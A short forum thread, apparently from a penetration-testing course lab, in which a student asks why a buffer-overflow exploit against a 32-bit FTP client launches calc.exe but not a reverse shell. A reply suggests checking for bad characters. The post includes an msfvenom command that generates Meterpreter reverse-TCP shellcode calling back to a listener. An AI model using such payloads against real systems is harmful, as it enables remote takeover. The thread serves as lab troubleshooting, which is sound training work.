Buffer Overflow works but no reverse shell

Hi, im having issues with making the reverse shell with the ftp 32 bits client.
The BoF works fine with the calc.exe shellcode as showing on the labs,but when i generate the reverse shell(meterpreter and generics too),it doesnt give me the shell:

FTP BoF exploited with calc.exe shellcode:

FTP BoF with reverse shell:

Meterpreter payload:

I generated the reverse shell shellcode with the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.22 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

And i get an error:

I used the debugshellcode.cpp to test my reverse shell shellcode and it works fine:

Did you check for bad chars in your shellcode?

I think the INE course does not even mention this topic if I remember right.